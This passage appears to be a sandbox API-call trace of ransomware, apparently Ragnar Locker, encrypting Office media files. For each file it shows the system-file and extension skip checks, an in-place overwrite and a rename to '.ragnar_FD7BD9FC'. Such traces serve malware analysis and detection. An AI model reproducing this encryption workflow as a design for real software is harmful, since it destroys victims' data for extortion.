[0096.147] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.147] CloseHandle (hObject=0x104) returned 1 [0096.149] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" [0096.149] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.ragnar_FD7BD9FC" [0096.149] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305257.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305257.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.150] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x494c0d00, ftCreationTime.dwHighDateTime=0x1bf4534, ftLastAccessTime.dwLowDateTime=0xbd6b5ec0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x494c0d00, ftLastWriteTime.dwHighDateTime=0x1bf4534, nFileSizeHigh=0x0, nFileSizeLow=0x3372, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0305493.WMF", cAlternateFileName="")) returned 1 [0096.150] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.150] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0305493.WMF" | out: lpString1="J0305493.WMF") returned="J0305493.WMF" [0096.150] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF") returned=".WMF" [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="autorun.inf") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="boot.ini") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="bootfont.bin") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="bootsect.bak") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="bootmgr") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="bootmgr.efi") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="bootmgfw.efi") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="desktop.ini") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="iconcache.db") returned 1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="ntldr") returned -1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="ntuser.dat") returned -1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="ntuser.dat.log") returned -1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="ntuser.ini") returned -1 [0096.150] lstrcmpiW (lpString1="J0305493.WMF", lpString2="thumbs.db") returned -1 [0096.150] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.150] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.150] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.150] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.150] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.150] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.150] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.150] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf")) returned 0x20 [0096.151] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.151] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=13170) returned 1 [0096.151] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3369, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.151] GetProcessHeap () returned 0x580000 [0096.151] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.151] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.162] VirtualAlloc (lpAddress=0x0, dwSize=0x3372, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.162] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.162] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.162] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x3372, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x3372, lpOverlapped=0x0) returned 1 [0096.165] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.165] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x3372, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.165] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x3372, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x3372, lpOverlapped=0x0) returned 1 [0096.165] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x3372, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.165] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.165] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x3372, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.165] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.166] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.166] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.166] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.166] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.166] GetProcessHeap () returned 0x580000 [0096.166] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.166] CloseHandle (hObject=0x104) returned 1 [0096.166] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" [0096.166] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.ragnar_FD7BD9FC" [0096.166] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0305493.WMF.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0305493.wmf.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.167] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb8598100, ftCreationTime.dwHighDateTime=0x1bf71c6, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xb8598100, ftLastWriteTime.dwHighDateTime=0x1bf71c6, nFileSizeHigh=0x0, nFileSizeLow=0x60e4, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0315447.JPG", cAlternateFileName="")) returned 1 [0096.167] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.167] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0315447.JPG" | out: lpString1="J0315447.JPG") returned="J0315447.JPG" [0096.167] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG") returned=".JPG" [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="autorun.inf") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="boot.ini") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="bootfont.bin") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="bootsect.bak") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="bootmgr") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="bootmgr.efi") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="bootmgfw.efi") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="desktop.ini") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="iconcache.db") returned 1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="ntldr") returned -1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="ntuser.dat") returned -1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="ntuser.dat.log") returned -1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="ntuser.ini") returned -1 [0096.167] lstrcmpiW (lpString1="J0315447.JPG", lpString2="thumbs.db") returned -1 [0096.167] lstrcmpiW (lpString1=".JPG", lpString2=".db") returned 1 [0096.167] lstrcmpiW (lpString1=".JPG", lpString2=".sys") returned -1 [0096.167] lstrcmpiW (lpString1=".JPG", lpString2=".dll") returned 1 [0096.167] lstrcmpiW (lpString1=".JPG", lpString2=".lnk") returned -1 [0096.167] lstrcmpiW (lpString1=".JPG", lpString2=".msi") returned -1 [0096.167] lstrcmpiW (lpString1=".JPG", lpString2=".drv") returned 1 [0096.167] lstrcmpiW (lpString1=".JPG", lpString2=".exe") returned 1 [0096.167] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg")) returned 0x20 [0096.168] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.168] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=24804) returned 1 [0096.168] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x60db, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.168] GetProcessHeap () returned 0x580000 [0096.169] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.169] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.175] VirtualAlloc (lpAddress=0x0, dwSize=0x60e4, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.175] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.175] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.175] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x60e4, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x60e4, lpOverlapped=0x0) returned 1 [0096.217] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.220] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x60e4, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.220] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x60e4, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x60e4, lpOverlapped=0x0) returned 1 [0096.227] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x60e4, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.227] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.231] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x60e4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.233] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.234] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.235] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.235] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.236] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.238] GetProcessHeap () returned 0x580000 [0096.238] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.239] CloseHandle (hObject=0x104) returned 1 [0096.240] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" [0096.241] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.ragnar_FD7BD9FC" [0096.242] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0315447.JPG.ragnar_FD7BD9FC" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0315447.jpg.ragnar_fd7bd9fc"), dwFlags=0x3) returned 1 [0096.253] FindNextFileW (in: hFindFile=0x5a1328, lpFindFileData=0x1eb7c8 | out: lpFindFileData=0x1eb7c8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x653ad300, ftCreationTime.dwHighDateTime=0x1bfaf58, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x653ad300, ftLastWriteTime.dwHighDateTime=0x1bfaf58, nFileSizeHigh=0x0, nFileSizeLow=0x5168, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0332268.WMF", cAlternateFileName="")) returned 1 [0096.253] GetFullPathNameW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", nBufferLength=0x104, lpBuffer=0x1eb5c0, lpFilePart=0x1eba6c | out: lpBuffer="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\*.*", lpFilePart=0x1eba6c*="*.*") returned 0x38 [0096.253] lstrcpyW (in: lpString1=0x1eb62a, lpString2="J0332268.WMF" | out: lpString1="J0332268.WMF") returned="J0332268.WMF" [0096.255] PathFindExtensionW (pszPath="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF") returned=".WMF" [0096.255] lstrcmpiW (lpString1="J0332268.WMF", lpString2="RGNR_FD7BD9FC.txt") returned -1 [0096.255] lstrcmpiW (lpString1="J0332268.WMF", lpString2="autorun.inf") returned 1 [0096.255] lstrcmpiW (lpString1="J0332268.WMF", lpString2="boot.ini") returned 1 [0096.255] lstrcmpiW (lpString1="J0332268.WMF", lpString2="bootfont.bin") returned 1 [0096.255] lstrcmpiW (lpString1="J0332268.WMF", lpString2="bootsect.bak") returned 1 [0096.255] lstrcmpiW (lpString1="J0332268.WMF", lpString2="bootmgr") returned 1 [0096.255] lstrcmpiW (lpString1="J0332268.WMF", lpString2="bootmgr.efi") returned 1 [0096.256] lstrcmpiW (lpString1="J0332268.WMF", lpString2="bootmgfw.efi") returned 1 [0096.256] lstrcmpiW (lpString1="J0332268.WMF", lpString2="desktop.ini") returned 1 [0096.256] lstrcmpiW (lpString1="J0332268.WMF", lpString2="iconcache.db") returned 1 [0096.256] lstrcmpiW (lpString1="J0332268.WMF", lpString2="ntldr") returned -1 [0096.256] lstrcmpiW (lpString1="J0332268.WMF", lpString2="ntuser.dat") returned -1 [0096.256] lstrcmpiW (lpString1="J0332268.WMF", lpString2="ntuser.dat.log") returned -1 [0096.256] lstrcmpiW (lpString1="J0332268.WMF", lpString2="ntuser.ini") returned -1 [0096.259] lstrcmpiW (lpString1="J0332268.WMF", lpString2="thumbs.db") returned -1 [0096.259] lstrcmpiW (lpString1=".WMF", lpString2=".db") returned 1 [0096.259] lstrcmpiW (lpString1=".WMF", lpString2=".sys") returned 1 [0096.260] lstrcmpiW (lpString1=".WMF", lpString2=".dll") returned 1 [0096.260] lstrcmpiW (lpString1=".WMF", lpString2=".lnk") returned 1 [0096.262] lstrcmpiW (lpString1=".WMF", lpString2=".msi") returned 1 [0096.263] lstrcmpiW (lpString1=".WMF", lpString2=".drv") returned 1 [0096.264] lstrcmpiW (lpString1=".WMF", lpString2=".exe") returned 1 [0096.267] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf")) returned 0x20 [0096.284] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0332268.wmf"), dwDesiredAccess=0x40000005, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000080, hTemplateFile=0x0) returned 0x104 [0096.287] GetFileSizeEx (in: hFile=0x104, lpFileSize=0x1eaf7c | out: lpFileSize=0x1eaf7c*=20840) returned 1 [0096.288] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x515f, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.296] GetProcessHeap () returned 0x580000 [0096.296] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x9) returned 0x59e7d0 [0096.306] ReadFile (in: hFile=0x104, lpBuffer=0x59e7d0, nNumberOfBytesToRead=0x9, lpNumberOfBytesRead=0x1eaf40, lpOverlapped=0x0 | out: lpBuffer=0x59e7d0*, lpNumberOfBytesRead=0x1eaf40*=0x9, lpOverlapped=0x0) returned 1 [0096.336] VirtualAlloc (lpAddress=0x0, dwSize=0x5168, flAllocationType=0x3000, flProtect=0x4) returned 0x2b0000 [0096.337] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.337] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf54 | out: lpNewFilePointer=0x0) returned 1 [0096.337] ReadFile (in: hFile=0x104, lpBuffer=0x2b0000, nNumberOfBytesToRead=0x5168, lpNumberOfBytesRead=0x1eaf34, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesRead=0x1eaf34*=0x5168, lpOverlapped=0x0) returned 1 [0096.346] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1eaf38 | out: lpNewFilePointer=0x0) returned 1 [0096.346] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x5168, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.346] WriteFile (in: hFile=0x104, lpBuffer=0x2b0000*, nNumberOfBytesToWrite=0x5168, lpNumberOfBytesWritten=0x1eaf30, lpOverlapped=0x0 | out: lpBuffer=0x2b0000*, lpNumberOfBytesWritten=0x1eaf30*=0x5168, lpOverlapped=0x0) returned 1 [0096.346] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x5168, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.346] VirtualFree (lpAddress=0x2b0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0096.346] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x5168, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0096.346] LockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x109, nNumberOfBytesToLockHigh=0x0) returned 1 [0096.346] WriteFile (in: hFile=0x104, lpBuffer=0x5a0588*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0588*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.347] WriteFile (in: hFile=0x104, lpBuffer=0x5a0720*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x5a0720*, lpNumberOfBytesWritten=0x1eaf64*=0x100, lpOverlapped=0x0) returned 1 [0096.347] WriteFile (in: hFile=0x104, lpBuffer=0x1eaf68*, nNumberOfBytesToWrite=0x9, lpNumberOfBytesWritten=0x1eaf64, lpOverlapped=0x0 | out: lpBuffer=0x1eaf68*, lpNumberOfBytesWritten=0x1eaf64*=0x9, lpOverlapped=0x0) returned 1 [0096.347] UnlockFile (hFile=0x104, dwFileOffsetLow=0x1, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x109, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0096.347] GetProcessHeap () returned 0x580000 [0096.347] HeapFree (in: hHeap=0x580000, dwFlags=0x1, lpMem=0x59e7d0 | out: hHeap=0x580000) returned 1 [0096.347] CloseHandle (hObject=0x104) returned 1 [0096.347] lstrcpyW (in: lpString1=0x1eaae0, lpString2="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" [0096.347] lstrcatW (in: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF", lpString2=".ragnar_FD7BD9FC" | out: lpString1="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.ragnar_FD7BD9FC") returned="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF.ragnar_FD7BD9FC" [0096.347] MoveFileExW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0332268.WMF" (normalized: "c:\\program files\\microsoft 